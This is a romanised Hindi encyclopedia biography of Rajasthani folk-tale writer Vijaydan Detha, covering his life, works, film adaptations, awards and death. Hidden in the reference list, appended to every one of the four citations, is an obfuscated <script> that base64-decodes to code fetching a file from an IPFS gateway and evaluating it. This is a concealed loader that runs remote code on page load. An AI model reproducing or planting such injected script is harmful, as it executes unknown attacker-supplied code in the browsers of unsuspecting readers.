विजयदान देथा
vijayadan detha
| |
| poora nam | vijayadan detha |
| any nam | detha, bijji |
| janm | 1 sitambar, 1926 |
| janm bhoomi | boruanda, jodhapur |
| mrityu | 10 navambar, 2013 |
| mrityu sthan | boruanda, jodhapur |
| santan | tin putr aur ek putri |
| karm bhoomi | rajasthan |
| karm-kshetr | lokakathakar, upanyasakar, sanpadak |
| mukhy rachanaean | 'bataan ri phulavari', 'tido rav', 'kaboo rani', 'ulajhan', 'alekhun hitalar' adi. |
| bhasha | rajasthani |
| puraskar-upadhi | 'padm shri', 'sahity akadami puraskar', 'maroodhara puraskar' tatha 'bharatiy bhasha parishad puraskar'. |
| nagarikata | bharatiy |
| any janakari | rajasthani bhasha mean chaudah khadoan mean prakashit bataan ri phulavari ke dasavean khand ko bharatiy rashtriy sahity akadami dvara puraskrit kiya gaya, jo rajasthani kriti par pahala puraskar hai. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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vijayadan detha (aangrezi: Vijaydan Detha, janm: 1 sitambar, 1926 - mrityu: 10 navambar, 2013) jinhean 'bijji' ke nam se bhi jana jata hai, rajasthan ke prasiddh lekhak aur padm shri puraskar se sammanit vyakti the. unhean sahity akadami puraskar aur sahity chu damani puraskar jaise vibhinn any puraskaroan se bhi samanit kiya ja chuka tha. vijayadan detha ki rajasthani bhasha mean chaudah khadoan mean prakashit bataan ri phulavari ke dasavean khand ko bharatiy rashtriy sahity akadami dvara puraskrit kiya gaya, jo rajasthani kriti par pahala puraskar hai.
jivan parichay
lok kathaoan evan kahavatoan ka adbhut sankalan karane vale padmashri vijayadan detha ki karmasthali unaka paithrik gaanv boruanda da hi raha tatha ek chhote se gaanv mean baithakar antarrashtriy star ke sahity ka srijan kiya. rajasthani lok sanskriti ki pramukh sanrakshak sanstha roopayan sansthan (jodhapur) ke sachiv detha ka janm 1 sitanbar 1926 ko borooanda mean hua. prarambh mean 1953 se 1955 tak bijji ne hindi masik prerana ka sampadan kiya. bad mean hindi traimasik roopam, rajasthani shodh patrika parampara, lokagit, gora hat ja, rajasthan ke prachalit premakhyan ka vivechan, jaithavai ra sohatha aur komal kothari ke sath sanyukt roop se vani aur lok sanskriti ka sampadan kiya. vijayadan detha ki likhi kahaniyoan par do darjan se zyada filmean ban chuki haian, jinamean mani kaul dvara nirdeshit 'duvidha' par anek rashtriy aur antarrashtriy puraskar mil chuke haian. isake alava varsh 1986 mean unaki katha par charchit film nirmata-nirdeshak prakash jha dvara nirdeshit philm pariniti kafi prabhavit huee hai. rajasthan sahity akadami 1972-73 mean unhean vishisht sahityakar ke roop mean sammanit kar chuki hai.[1]'duvidha' par adharit hiandi philm 'paheli' mean abhineta shaharukh khan aur rani mukharji mukhy bhoomikaoan mean the. yah unaki kisi rachana par bani aantim philm hai.[2] rangakarmi habib tanavir ne vijayadan detha ki lokapriy kahani 'charanadas chor' ko natak ka svaroop pradan kiya tha aur shyam benegal ne is par ek philm bhi banaee thi.
kritiyaan
rajasthani bhasha mean qarib 800 se adhik laghukathaean likhane vale vijayadan detha ki kritiyoan ka hiandi, aangrezi samet vibhinn bhashaoan mean anuvad kiya gaya. vijayadan detha ne kavitaean bhi likhian aur upanyas bhi. ve kalatmak drishti se utane saphal nahian nahian ho sake. sanbhavatah unaki rachanatmak kshamata khil paee lok kathaoan ke sath unake apane kam mean. vijayadan detha ne rangamanch aur sinema ko apani or khiancha. ek achchhi khasi abadi hai jo unhean 'charanadas chor' ke madhyam se hi janati hai. amol palekar, mani kaul, prakash jha, shyam benegal jaise philmakaroan ne unaki kahaniyoan par philmean banaeean. habib tanavir unaki kahani ko apanane vale rang nirdeshakoan mean sabase prasiddh haian lekin desh bhar mean unaki jane kitani kahaniyoan ko manch par khela gaya, isaka koee hisab nahian hai.[3]
rajasthani kritiyaan
- bataan ri phulavari, bhag 1-14, 1960 - 1974, lok loriyaan
- prerana (komal kothari dvara sah-sampadit) 1953
- soratha, 1956 - 1958
- tido rav, rajasthani ki pratham jeb mean rakhane layak pustak, 1965
- ulajhan, 1984, (upanyas)
- alekhun hitalar, 1984, (laghu kathaean)
- rooankh, 1987
- kaboo rani, 1989, (bachchoan ki kahaniyaan)
- rajasthani-hindi kahavat kosh. (sanpadan)
hindi anuvadit kritiyaan
apani matri bhasha rajasthani ke samadar ke lie 'bijji' ne kabhi any kisi bhasha mean nahian likha, unaka adhikatar kary unake ek putr kailash kabir dvara hindi mean anuvadit kiya.
- usha, 1946 (kavitaean)
- bapu ke tin hatyare, 1948 (alochana)
- jvala saptahik mean stambh, 1949 – 1952
- sahity aur samaj, 1960, (nibandh)
- anokha pe d (sachitr bachchoan ki kahaniyaan), 1968
- phoolavari (kailash kabir dvara hindi anuvadit) 1992
- chaudharayan ki chaturaee (laghu kathaean) 1996
- antaral, 1997 (laghu kathaean)
- sapan priya, 1997 (laghu kathaean)
- mero dard na jane koy, 1997 (nibandh)
- atirikta, 1997 (alochana)
- mahamilan, (upanyas) 1998
- priya mrinal, 1998 (laghu kathaean)
lokakathaoan ke jadoogar
rajasthan ki rang rangili lok sanskriti ko adhunik kalevar mean pesh karane vale, lokakathaoan ke anoothe chitere vijayadan detha yani bijji apane paitrik gaanv mean hi rahate the, rajasthani mean hi likhate the aur hindijagat phir bhi unhean hathoanhath leta tha. char sal ki umr mean pita ko kho dene vale shri detha ne n kabhi apana gaanv chho da, n apani bhasha. taumr rajasthani mean likhate rahe aur likhane ke siva koee aur kam nahian kiya. bane banae saanchoan ko to dane vale vijayadan detha ne kahani sunane ki rajasthan ki samriddh paranpara se apani shaili ka talamel kiya. chatur g deriyoan, moorkh rajaoan, chalak bhootoan aur samajhadar rajakumariyoan ki jubani vijayadan detha ne jo kahaniyaan bunian unhoanne unake shabdoan ko jivant kar diya. rajasthan ki lokakathaoan ko maujooda samaj, rajaniti aur badalav ke aujaroan se lais kar unhoanne kathaoan ki aisi phulavari rachi hai ki jisaki sugandh door-door tak mahasoos ki ja sakati hai. darasal ve ek jaduee kathakar the. apane dhang ke akele aise kathakar, jinhoanne lok sahity aur adhunik sahity ke bich ek bahut hi mazaboot pul banaya tha. unhoanne rajasthan ki vilupt hoti lok gathaoan ki aisi punarrachana ki, jo any kisi ke lie lagabhag asanbhav thi.
sahi mayanoan mean ve rajasthani bhasha ke bharateandu harishchandr the, jinhoanne us anyatam bhasha mean adhunik gady aur samakalin chetana ki nianv dali. apane lekhan ke bare mean unaka kahana tha- "havaee shabdajal v videshi lekhakoan ke apach uchchhisht ka vaman karane mean mujhe koee sar nazar nahian ata. akashaganga se koee ajooba khojane ki bajay paanvoan ke niche ki dharati se kuchh kan batorana yada mahattvapoorn lagata hai. anyatha in kahaniyoan ko gadhane vale lekhak ki kahani to anakahi rah jaegi." vijayadan detha ki kahaniyaan padhakar vikhyat philmakar mani kaul itane abhibhoot hue ki unhoanne tatkal unhean likha- tum to chhupe hue hi thik ho. ...tumhari kahaniyaan shahari janavaroan tak pahuanch gayian to ve kuttoan ki tarah un par toot p deange. ...giddh haian noch khaeange. tumhari namrata hai ki tumane apane ratnoan ko gaanv ki jhini dhool se dhank rakha hai. hua bhi yahi, apani hi ek kahani ke dalit patr ki tarah- jisane jab dekha ki usake dvara upajaye khire mean bij ki jagah 'kank d-patthar' bhare haian to usane unhean ghar ke ek kone mean pheank diya, kintu bad mean ek vyapari ki nigah un par p di to usaki aankhean chauandhiyaan gayian, kyoanki ve kank d-patthar nahian hire the. vijayadan detha ke sath bhi yahi hua. unaki kahaniyaan anoodit hokar jab hindi mean ayian to hindi sansar ki aankhean chauandhiyaan gayian.[4]
samman aur puraskar
2007 mean padmashri puraskar se sammanit vijayadan detha ko 2011 ke sahity nobel puraskar ke lie bhi namaankit kiya gaya tha halaanki bad mean yah av aaurd t aaumas traansatr aaumar ko diya gaya. isake atirikt unhean sahity akadami puraskar, maroodhara puraskar tatha bharatiy bhasha parishad puraskar bhi pradan kie ge.
nidhan
rajasthani lekhak vijayadan detha ka ravivar 10 navanbar, 2013 ko dil ka daura p dane se boruanda gaanv (jodhapur) mean nidhan ho gaya. unhoanne rajasthan ki lok kathaoan ko pahachan aur adhunik svaroop pradan karane mean aham bhoomika nibhaee. 87 varshiy vijayadan detha ke parivar mean tin putr aur ek putri haian.
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tika tippani aur sandarbh
- ↑ nahian rahe prakhyat sahityakar vijayadan detha (hiandi) hiandustan laiv. abhigaman tithi: 18 navanbar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ nahian rahe sahityakar vijayadan detha (hiandi) jagaran d aaut k aaum. abhigaman tithi: 18 navanbar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ vijayadan detha: vidvatta ko pesha nahian banaya (hiandi) bibisi hiandi. abhigaman tithi: 18 navanbar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ lokakathaoan ke jadoogar bijji (hiandi) deshabandhu. abhigaman tithi: 18 navanbar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- soorinam mean mile the vijayadan detha
- 'ullas aur jiandadili ke paryay the vijayadan detha' -kedaranath sianh
sanbandhit lekh
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